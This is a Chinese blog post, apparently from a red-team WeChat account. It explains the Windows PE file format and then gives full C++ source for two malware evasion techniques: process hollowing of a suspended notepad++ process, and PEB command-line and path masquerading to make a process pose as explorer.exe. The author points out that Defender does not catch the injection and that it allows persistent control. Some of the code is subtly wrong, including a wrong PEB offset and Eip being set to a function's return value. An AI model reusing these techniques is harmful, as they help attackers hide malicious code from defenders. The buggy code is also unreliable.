这篇文章有点长,说一下我最近看windows的经验吧。也不多,但是对于一些概念性的
东西一定要熟记,不要求原理和参数记得多清楚(太多了也记不住),但是要知道这个
东西是拿来干嘛的,到时候根据msdn的api文档对参数进行使用就行了。还有就是基本
的流程,认证,授权,进程等一定要熟悉。各个部分,不然都不知道在干嘛。耐心一
点,前期不熟悉的东西一定要弄明白,不熟悉的地方可能引入另外不熟悉的地方形成
一个闭环才能明白透彻。所以最近更新的可能会比较慢,望体谅。当然平时看到一些
java相关的文章或者利用也会分析然后分享给大家,感谢大家的关注了。文章的代码均
来源于参考链接可以搭配着看,注释是自己查的,自己也可以用手去查一下。
PE文件解读
参考链接
https://docs.microsoft.com/en-us/previous-versions/ms809762(v=msdn.10)?redirectedfrom=MSDN
https://blog.csdn.net/chenlycly/article/details/53378196
提到进程,离不开可执行文件。所以这里先对平时常用的PE文件的结构做一点简单的
介绍。内存加载这一块原理一定要透彻,不然后面可能会看不懂。
前期了解
内存映射:简单来说,win32API开发中,我们知道进程创建后有独立的4g内存虚拟空间,从中开辟出一块内存,用来把目标文件映射到这块内存,读取的时候就好像是从这块内存读取的,但是内容其实并不在这个内存中。这里我们主要讨论可执行文件的映射。(可执行文件映射和内存映射的区别在于内存映射不会更改信息,映射前后相同,可执行文件映射可能会有重定位等,造成前后的数据的相对位置不同。)
可执行文件映射:在操作系统执行一个win32的应用程序的时候,当他使用内存映射,他会在进程的内存空间中保留一块足够大的地址,一般来说是从0x00400000默认载入地址开始的。对于系统来说,物理真实存储就是exe本身。映射的虚拟信息就在内存中。当文件开始执行,此时的代码并不存在RAM(主存,与cpu交互的)中,所以会产生异常。系统捕获到异常,会映射地址到0x00400000,此时就能读取到实际的代码。dll和exe的区别就在于dll是共享的,映射到的地址所有执行文件可共享
当第二次使用这个进程实例,我们的ram已经存在这个代码了。所以只需要将她重新映射到一个地址空间,即可以共享代码和数据了。
RVA:相对偏移量,这个在pe中比较常见,我们知道我们提供的其实是一个初始化的地址,打个比方提供了一个PE文件的头部,由于文件在内存加载后的模块是联系的地址,那么PE内部做一个相对的偏移,我们也能根据偏移的量来发现我们需要的数据。所以如果需要将它转化为一个实际的指针,只需要将它作为一个基地址即可(相当于起始地址,在win32中相当于句柄HINSTANCE)。
接下来介绍一个PE文件的各个部分。
PE标头
PE标头
该标头包含诸如代码和数据区的位置和大小、文件适用于何种操作系统、初始堆栈大小等
重要信息。tips//不要认为头部就一定是在最上面,其实是错误的。我们用32和64位区分
应用程序,当位数不同的时候会报错,报错的这段信息才是最头部的东西,也叫做
MS-DOS 。
抛开了这一点的数据,就是主要的PE头了。PE头的类型是IMAGE_NT_HEADERS。我们在vs中
看一下它的结构DWORD Signature; //PE签名 DWORD字段
IMAGE_FILE_HEADER FileHeader; //包含有关文件的基本信息 第二张图来源于msdn,能
看出一些和计算机匹配的信息
https://docs.microsoft.com/zh-cn/windows/win32/api/winnt/ns-winnt-image_file_header?redirectedfrom=MSDN
IMAGE_OPTIONAL_HEADER32 OptionalHeader; //主要是基本的file信息可能不够,可以通
过这个字段进行添加额外的选项 这一块就不细说了,有兴趣可以去msdn看字段详情
节表
说完了标头,来看看下面的一个字段,节表。
PE文件中所有节的属性都被定义在节表中,节表由一系列的IMAGE_SECTION_HEADER结构排
列而成,每个结构用来描述一个节。也就是PE结构后紧跟的一系列IMAGE_SECTION_HEADER
数组,这部分数组就被叫做节表。
公共部分
节表下面就是一系列的公共部分了。拿一张参考链接截得图
https://blog.csdn.net/chenlycly/article/details/53378196
可执行代码段.text
.text 部分是编译器或汇编器发出的所有通用代码结束的地方。这里举了一个加载dll的例子。msdn的参考链接,其实就是说系统dll放置在了一块共享的区域,当需要调用的时候,只需要从 .idata 的DWORD获取到了dll函数入口点的地址,通过偏移量去加载了对应的函数。所以.text在win32中感觉更像是一个入口,其他函数可以通过相对偏移去获取
数据段.bss、.rdata、.data
这里都是存放着一些数据,其中的区别如下
.bss段表示应用程序的未初始化数据,包括所有函数或源模块中声明为static的变量。
.rdata段表示只读的数据,比如字符串文字量、常量和调试目录信息。
所有其它变量(除了出现在栈上的自动变量)存储在.data段之中。基本上,这些是应用程序或模块的全局变量。包含一些dll加载的函数和数据信息
资源段,.rsrc
.rsrc段包含了模块的资源信息
PE文件导入
上面说了,PE文件导入加载外部的dll数据资源存放在.data部分。也就是常说的导入表。先暂时用不上这些,就记录一下概念,不然人容易昏。
PE文件导出
导出和导入相反,就是导出一个函数供其他的程序进行使用。有关其导出函数的信息存储在 .edata 部分
PE文件资源
程序内部和外部的界面等元素的二进制数据统称为资源,程序把它们放在一个特定的
表中,符合数据和程序分离的设计原则。资源包括加速键(Accelerator)、位图
(Bitmap)、光标(Cursor)、对话框(Dialog Box)、图标(Icon)、
菜单(Menu)、串表(String Table)、工具栏(Toolbar)和
版本信息(Version Information)等。一般就是放置在.rsrc节中。
PE 文件库重定位
.reloc部分的数据被叫做重定位。这个用通俗的话来说,一个可执行程序先假定了一
个地址A,然后他的一系列资源的地址也在A的基础上,当实际映射到内存中的时候,
此时如果exe的真实内存地址增加了B,变为了A+B,这时候他的其他资源的地址也会变
为+B的大小,此时内存中去读取的时候会发现一切运行正常。
最后其实分下来PE的基本结构基本是大致这几部分(还有一些延迟导入等等的暂时用不上碰到了说)
(1)MS-DOS由操作系统添加
(2)PE头真正的PE头部
(3)PE节表(保存了很多个节)
(4)PE节保存了有共同属性的一系列值。
而PE的加载更多是取决于偏移量,通过相对位置去寻找需要的资源。所以基址(初始位置)
就显得很重要。同时要了解PE的加载方式是类似内存映射(区别在于地址可能改变了。)而
不是直接加载。后续对于一些结构体做的介绍偏少,因为暂时还用不上,等以后需要的时候
在详细了解。目前其实就是在复现一些漏洞原理的时候需要补充一点基础知识,所以恶补
了一下。
进程隐藏的
内容比较多而且可能会有点难,先写两种方式吧。后续的以后再发。
一 傀儡进程
参考链接
https://xz.aliyun.com/t/10477
往期进程链接
https://mp.weixin.qq.com/s/lZx9JQCnWfCKLSAS-fNWBQ
关于进程的介绍就不多说了,往期文章有详细的讲解。这里只对相关的信息做点醒。我们
知道一个创建创建了以后,他的内存空间是独立的,要共享进程内存资源的方式有两种,
一是利用OpenProcess打开一个进程,二是利用继承父进程的关系去共享内存资源。今天我
们要说的是其他的方法。在进程的那里,我们提起了一个挂起状态,今天就来看看挂起状
态。
这是创建进程的函数
BOOL CreateProcess(
LPCTSTR lpApplicationName, // 应用程序名称
LPTSTR lpCommandLine, // 命令行字符串
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性
BOOL bInheritHandles, // 是否继承父进程的属性
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // 指向新的环境块的指针
LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针
LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息
LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
);
详细的参数详解往期文章已经发了。见参考链接,这里就来说说我们本次涉及到的一些东
西。
(1)LPSECURITY_ATTRIBUTES lpProcessAttributes
从下面的截图可以看出,他是一个指向_SECURITY_ATTRIBUTES的一个指针,这个结构体有
三个参数。而msdn的截图说的不支持设置为null,先不管。他是来设置进程句柄能否被继
承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //结构体的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
这里稍微提一下,没事的时候多学学英语,对学习编程确实有大用处。
(2)lpThreadAttributes
和上面的差不多就不重复截图了,这个是线程,上一个是进程。自己去动手操作一下
用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被
子进程继承
接下来我们做一个试验,来创建一个挂起的进程
int main(int argc, char* argv[])
{
STARTUPINFO ie_si = { 0 };
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szBuffer[256] = "D:\Notepad++\notepad++.exe";
CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&ie_si,
&ie_pi
);
//恢复执行
// ResumeThread(ie_pi.hThread);
return 0;
}
此时可以看到,进程是挂起状态,没有显示的显现出来,但是在后台中能看到已经存在了。当调用ResumeThread进行恢复的时候,进程就显现出来了。这里我们只需要将进程的第六个参数改为CREATE_SUSPENDED则可以挂起了。
接下来先来看看我们的思路。现在我们能够操作的空间差是在进程挂起的这段时间内。我们能做的是利用这段时间差,自己申请一块内存,然后再内存中放入我们的shellcode,再来恢复主线程即可。
来看一下参考链接中用到的函数
ZwUnmapViewOfSection
所述ZwUnmapViewOfSection例程取消映射一个视图从受试者进程的虚拟地址空间中的部分的。google翻译起来是有点头痛哈,简单来说就是可以根据我们传入的句柄和指针取消我们之前在内存中间保存的数据。
GetProcAddress
DLL 函数的地址。
FARPROC GetProcAddress(
HMODULE hModule,
LPCWSTR lpProcName
);
可以利用GetModuleHandleA和LoadLibrary来返回dll的句柄。第二个参数为获取函数的名称。同时这个函数存在于ntdll.dll。
GetModuleHandleA()
文件)的句柄
线程结构体 这里也是一个新的概念。这样子来理解,我们的一个线程,跑着跑着图片切到了B线程,等我们需要A线程的跑的时候,如果是接着跑那肯定是会异常的。所以此时需要一个结构体来保留A线程之前的信息,这个结构体就是content。也就是平时我们提到的线程上下文。
模块基地址 每个可执行模块和DLL模块都有一个首选的基地址,用于标识模块应该映射到的进程地址空间中的理想内存地址
准备的差不多了,开冲。
进程环境信息块 PEB 放置了进程的一些环境信息
STARTUPINFO sta;
PROCESS_INFORMATION pi;
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN LPVOID BaseAddress
);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
DWORD GetRemoteProcessImageBase(DWORD dwPEB){
DWORD DWBase;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 10), &DWBase, sizeof(DWORD), NULL);//通过传入进程的句柄,读取进程的DWORD个大小的字节数。将指定地址范围内的数据从指定进程的地址空间复制到当前进程的指定缓冲区中
return DWBase;
}
DWORD Mess()
{
MessageBoxA(0, "Inject successfully", "", 0);
return 1;
}
BOOL CreaetNoteProcess() {
wchar_t dir[] = L"d:\notepad++\notepad++.exe";
ZeroMemory(&sta, sizeof(sta));
ZeroMemory(&pi, sizeof(pi));
sta.cb = sizeof(sta);
BOOL crea = CreateProcess(dir,NULL,NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sta, &pi);
if (crea)
{
printf("Create notepad successfully!nn");
}
else
{
{
printf("Create notepad faile!n");
}
}
return crea;
}
DWORD GetCurModuleSize(DWORD dwModuleBase) {
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);//这里获取了PE标头的起始位置
return pNtHdr->OptionalHeader.SizeOfImage; //这里是获取了PE文件被装在到内存空间的时候大小
}//这个函数会在PE结构讲解里面提到
int main(int argc, char* argv[])
{
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection"); //可以通过通过加载dll,然后通过GetProcAddress来获取地址。成功后会返回地址。
if (ZwUnmapViewOfSection != NULL) {
printf("ZwUnmapViewOfSection() address is 0x%08xn", ZwUnmapViewOfSection);
if (CreaetNoteProcess()) {
printf("success to create NotePad++ Process; the ProcessId is %d",pi.dwProcessId);//创建一个notepad++的进程,然后判断是否创建成功
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
CONTEXT Thread;
Thread.ContextFlags= CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; //选择性的检索上下文
GetThreadContext(pi.hThread, &Thread);//获取线程的上下文
DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);//进入我们要执行的exe(这里为notepad++的内存空间)
ZwUnmapViewOfSection(pi.hProcess,(LPVOID)dwRemoteImageBase);//取消执行的exe中内存空间的映射(这里我们就要尝试把自己的代码+到映射中去了)
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);//这个分离免杀见得比较多,不细说,分配内存空间用
if (lpAllocAddr) {
printf(" 内存申请成功n");
}
else
{
printf("内存分配失败n");
}
if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL)) {
printf(" 写入内存失败");
return FALSE;
}
else
{
printf("写入成功!n");
}
Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = Mess();//这里就是可以注入我们的恶意程序。
SetThreadContext(pi.hThread, &Thread);//设置线程的上下文,这里换位我们的notepad.exe,context换位我们更改后的Thread
if (-1 == ResumeThread(pi.hThread))
{
printf("[!] ResumeThread failednn");//这里对线程进行挂起,看看是否能成功。
return FALSE;
}
else
{
printf("[*] ResumeThread successfully!nn");
}
}
else
{
printf("faile to create NotePad++ Process");
exit(-1);
}
}
else
{
printf("faile to get ZwUnmapViewOfSection() address the error code is %d",GetLastError());
exit(-1);
}
}
当我们注入成功后,会发现开启了一个notepad的进程。defender未拦截。可以做持久控制
具体的我在代码中的备注和解释已经比较清楚了。可以稍微来理一下这个流程
(1)创建一个正常的进程
(2)进入创建的内存的进程空间
(3)从傀儡进程的内存空间中置空一部分内存映射
(4)将我们的恶意代码映射到内存空间去
(5)进程运行,执行我们的恶意代码。
当中会涉及到一些PE的加载以及结构的问题,看PE结构简介的文章即可。注意这种方法会
更改运行的内存空间指向的代码,所以原本程序不会运行可能。但是不会破坏原本的程序
结构。他的原理更像是运行过程中的偷梁换柱,对运行前不会造成影响。
二 进程伪装
简单来说就是把进程伪装成lsass.exe等类似的常用进程,让别人不容易察觉和发现。
相关函数
NtQueryInformationProcess 检索有关指定进程的信息。就是获取进程的一些信息
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
相关内容
PROCESS_BASIC_INFORMATION结构
参考链接
https://www.cnblogs.com/sakura521/p/15335282.html
https://xz.aliyun.com/t/10435
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
BOOL DisguiseProcess(DWORD ProcessID, wchar_t *lpwszPath, wchar_t *lpwszCmd) {
BOOL state =FALSE;
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
RTL_USER_PROCESS_PARAMETERS Param;
HANDLE hpo = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
if (NULL ==hpo)
{
ShowError("OpenProcess faile");
}
else
{
printf("%d 进程打开成功n",ProcessID);
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;//定义NtQueryInformationProcess,因为要自己从dll中调用,所以先定义一个结构体存储调用后的数据
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess"); //从ntdll.dll加载需要调用的函数
if (NULL == NtQueryInformationProcess)
{
ShowError("GetProcAddress");
return FALSE;
}//判断是否加载成功
NTSTATUS status = NtQueryInformationProcess(hpo, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);//这里是检索了我们传入的进程ID的进程信息,最后放在了pbi中。
if (!NT_SUCCESS(status)) {//测试返回的NTSTATUS 值
ShowError("NtQueryInformationProcess Process faile");
return FALSE;
}
ReadProcessMemory(hpo, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);//读取我们检索的进程的基地址开始的进程块信息.
ReadProcessMemory(hpo, peb.ProcessParameters, &Param, sizeof(Param), NULL);//读取我们检索进程的参数块的信息
usCmdLen = 2 + 2 * wcslen(lpwszCmd);//
WriteProcessMemory(hpo, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);//重新写入进程的命令
::WriteProcessMemory(hpo, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
usPathLen = 2 + 2 * wcslen(lpwszPath);
WriteProcessMemory(hpo, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
WriteProcessMemory(hpo, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);//重新写入进程的路径
ShowError("success");
return TRUE;
}
return state;
}
int main() {
if (FALSE == DisguiseProcess(17436, L"D:\notepad++\notepad++.exe", L"explorer.exe")) //进行进程隐藏
{
printf("Dsisguise Process Error.n");
}
printf("Dsisguise Process OK.n");
system("pause");
return 0;
}
还是回想一下步骤
(1)打开进程
(2)修改进程的命令信息
ps:本地复现的时候失败了,一开始想伪装notepad++的发现爆了内存读取失败的信息,怀
疑有什么保护措施。所以更换了自己的一个exe,还是有问题。然后看了一下命令行和路径
的位置发现没有问题。然后调试了一下,发现写入内存的操作被拒绝了。
后续想了一下利用场景,发现自己开始的思路有点问题。进程隐藏是隐藏我们自己的服
务进程,所以我们的进程应该需要有debug权限否则不能写入。于是这里生成了一个
exe,启动进程添加了debug权限。发现能写入了,但是写入路径的时候爆了998错误,
说的是内存崩溃,原因不明。根据ProcessExplore查看进程,发现命令行改了,路径
没改,估计是错误引起的。emmmm多学一点再来解决这里把。
先来复现这两种隐藏把。后续还有hookAPI的隐藏和DLL劫持,其中DLL劫持应该往期已经说过了,HOOKAPI内容感觉有点多,后续发。这几天调试的有点多输出可能跟不上,忘见谅。
原文始发于微信公众号(e0m安全屋):红队之进程隐藏